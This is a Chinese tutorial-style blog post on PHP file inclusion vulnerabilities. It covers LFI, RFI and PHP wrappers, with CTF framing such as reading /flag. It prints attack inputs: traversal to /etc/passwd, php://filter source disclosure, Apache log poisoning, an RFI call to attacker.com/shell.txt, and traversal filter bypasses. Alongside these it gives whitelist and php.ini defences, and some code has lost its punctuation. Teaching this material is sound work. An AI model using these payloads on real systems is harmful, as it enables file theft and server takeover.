php学习(其二)文件包含

张开发
2026/4/20 6:21:41 15 分钟阅读

分享文章

php学习(其二)文件包含
介绍PHP 文件包含是一种将外部文件内容引入当前脚本的机制常用于代码复用、模块化开发或动态加载内容。主要通过以下四个函数实现nclude filename包含文件失败时仅警告E_WARNING脚本继续执行。require filename包含文件失败时致命错误E_COMPILE_ERROR脚本终止。include_once filename与include类似但确保文件只被包含一次。require_once filename与require类似但确保文件只被包含一次文件路径的指定方式文件路径可以是相对路径或绝对路径相对路径如./subdir/file.php或../parent.php。绝对路径如/var/www/config.php或C:\xampp\htdocs\file.php。使用远程 URL需allow_url_include启用include http://example.com/remote.php; // 需配置允许安全风险与防护措施漏洞风险本地文件包含LFI攻击者操纵路径读取敏感文件如/etc/passwd。远程文件包含RFI包含恶意远程服务器上的代码。防护建议禁用allow_url_include默认关闭。校验用户输入的包含路径避免直接拼接$allowed [home.php, about.php]; $page $_GET[page]; if (in_array($page, $allowed)) { include pages/{$page}; }本地文件包含本地文件包含(LFI)顾名思义就是包含本地的文件这里所说的本地指的是相对于对方服务器的本地也就是目标服务器上。这是个典型的本地包含漏洞并没有限制后缀可以包含任意格式的文件利用”../”可以跨目录另外如果包含的文件非php可执行代码会把文件内容打印出来攻击者可通过构造类似?file/etc/passwd的请求读取系统文件。防范方法输入验证与过滤$allowed_files [page1.php, page2.php]; $file $_GET[file]; if (in_array($file, $allowed_files)) { include($file); } else { die(Invalid file requested.); }使用白名单机制限制可包含的文件路径避免动态包含用户输入$base_dir /var/www/safe_dir/; $file basename($_GET[file]); $path $base_dir . $file; if (file_exists($path) is_file($path)) { include($path); }禁用危险函数在php.ini中设置allow_url_include Off open_basedir /var/www/绝对路径绝对路径是从文件系统的根目录开始指定文件或目录位置的完整路径。无论当前工作目录在哪里绝对路径始终指向同一个位置。已经知道flag存放在’/flag’文件中可以直接把路径放在file参数中进行包含相对路径相对路径从当前目录开始的路径假设我们当前的目录是/var/www/html/那么我们要访问”/var/www/html/web3/index.php”就可以直接直接用”web3/index.php”来进行访问想要跳转前一级目录可以用../进行访问文件文件包含技巧文件包含漏洞原理文件包含漏洞通常由 PHP 的include、require等函数引发攻击者可通过参数控制文件路径读取敏感文件或执行恶意代码。分为本地文件包含LFI和远程文件包含RFI。常见利用方法路径遍历通过../跳转目录读取系统文件如/etc/passwd。示例?file../../../../etc/passwdPHP 伪协议利用php://filter读取源码或编码文件内容。示例?filephp://filter/convert.base64-encode/resourceindex.php日志注入通过 User-Agent 或访问日志写入 PHP 代码再包含日志文件执行。示例包含 Apache 日志?file/var/log/apache2/access.logRFI 利用若允许远程包含可直接包含恶意服务器上的 PHP 文件。示例?filehttp://attacker.com/shell.txt这段代码中限制了被包含的文件的路径我们想要包含到其他路径下的文件就需要去绕过这个路径。使用../跳转路径读取flag内容绕过防护技巧过滤绕过若过滤../尝试双写、URL 编码或绝对路径。示例....//或%2e%2e%2f长度限制使用短路径或符号链接缩短路径。示例/proc/self/cwd/index.php当前进程工作目录远程文件包含远程文件包含是一种安全漏洞攻击者通过操纵应用程序的动态文件加载机制从远程服务器如HTTP/FTP加载恶意文件并执行。常见于PHP等脚本语言中未正确过滤用户输入的场景。原理动态文件加载函数如PHP的include、require未对用户输入的路径参数进行严格校验导致攻击者可注入外部URL路径。例如include($_GET[file] . .php); // 若未过滤$_GET[file]用户可提交http://attacker.com/shell.txt利用条件目标系统允许远程文件包含PHP配置中allow_url_include为On。文件加载函数使用用户可控变量且未过滤特殊字符如../、http://。攻击者能够托管恶意文件如Webshell到可访问的远程服务器。常见攻击方式加载恶意脚本通过包含远程服务器上的PHP Shell文件直接获取服务器控制权。日志文件注入包含Web服务器日志文件如/var/log/apache2/access.log通过User-Agent等字段注入PHP代码。利用协议封装器使用php://input或data://协议直接执行代码需配置允许。防御措施禁用远程包含在PHP配置中设置allow_url_includeOff。输入过滤对用户输入的路径参数进行白名单校验或强制转换为本地文件路径。静态文件映射使用固定文件列表或哈希值替代动态路径加载。文件权限控制限制Web服务器对敏感目录的写入和执行权限。// 白名单校验 $allowed_files [home.php, profile.php]; if (in_array($_GET[file], $allowed_files)) { include($_GET[file]); } else { die(Invalid file request.); }包含伪协议介绍伪协议Pseudo-Protocol是一种非标准化的协议通常用于特定应用程序或环境中实现特殊功能。伪协议不遵循标准协议规范但可能模拟标准协议的行为。PHP伪协议事实上就是PHP支持的协议与封装协议主要用来约束数据交互的方法和流程PHP所支持的伪协议共12种:a. file:// — 访问本地文件系统b. http:// — 访问 HTTP(s) 网址c. ftp:// — 访问 FTP(s) URLsd. php:// — 访问各个输入/输出流I/O streams php://filter/readconvert.base64-encode/resourceflage. zlib:// — 压缩流f. data:// — 数据RFC 2397g. glob:// — 查找匹配的文件路径模式h. phar:// — PHP 归档phar://zip文件名/shell名i. ssh2:// — Secure Shell 2j. rar:// — RAR k. ogg:// — 音频流l. expect:// — 处理交互式的流常见伪协议示例data:用于在URL中直接嵌入数据格式为data:[mediatype][;base64],data。例如data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg会解码为scriptalert(1)/script。javascript:允许在URL中执行JavaScript代码。例如javascript:alert(Hello)会触发弹窗。现代浏览器已限制其使用。about:显示浏览器内部信息或配置页面。例如about:blank打开空白页about:config用于Firefox高级设置。

更多文章